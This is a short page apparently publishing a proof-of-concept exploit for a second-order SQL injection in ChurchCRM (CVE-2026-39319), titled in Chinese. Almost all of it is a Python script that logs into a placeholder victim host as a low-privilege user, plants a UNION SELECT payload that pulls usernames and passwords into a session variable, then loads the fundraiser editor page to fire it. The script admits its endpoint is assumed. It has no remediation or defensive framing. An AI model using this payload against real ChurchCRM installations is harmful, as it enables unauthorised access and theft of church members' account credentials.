CVE-2026-39319 ChurchCRM二阶SQL注入漏洞

# Conceptual Proof of Concept for CVE-2026-39319 import requests target = "http://victim-churchcrm.com" login_url = f"{target}/session/begin" vuln_url = f"{target}/FundRaiserEditor.php" s = requests.Session() # Step 1: Authenticate with a low-privilege user payload_login = { "User": "attacker", "Password": "password123" } s.post(login_url, data=payload_login) # Step 2: Inject malicious payload into session variable 'iCurrentFundraiser' # The application stores this value in the session without sanitization # Assuming an endpoint like 'SelectFundraiser' sets this session variable sql_payload = "1' UNION SELECT NULL, username, password, NULL FROM users -- -" s.post(f"{target}/api/fundraisers/select", data={"id": sql_payload}) # Step 3: Trigger the Second-Order SQL Injection # Accessing the editor page triggers the query using the stored session value response = s.get(vuln_url) # Step 4: Verify exploitation if response.status_code == 200: print("Vulnerability triggered! Check response for data leakage.") print(response.text[:500])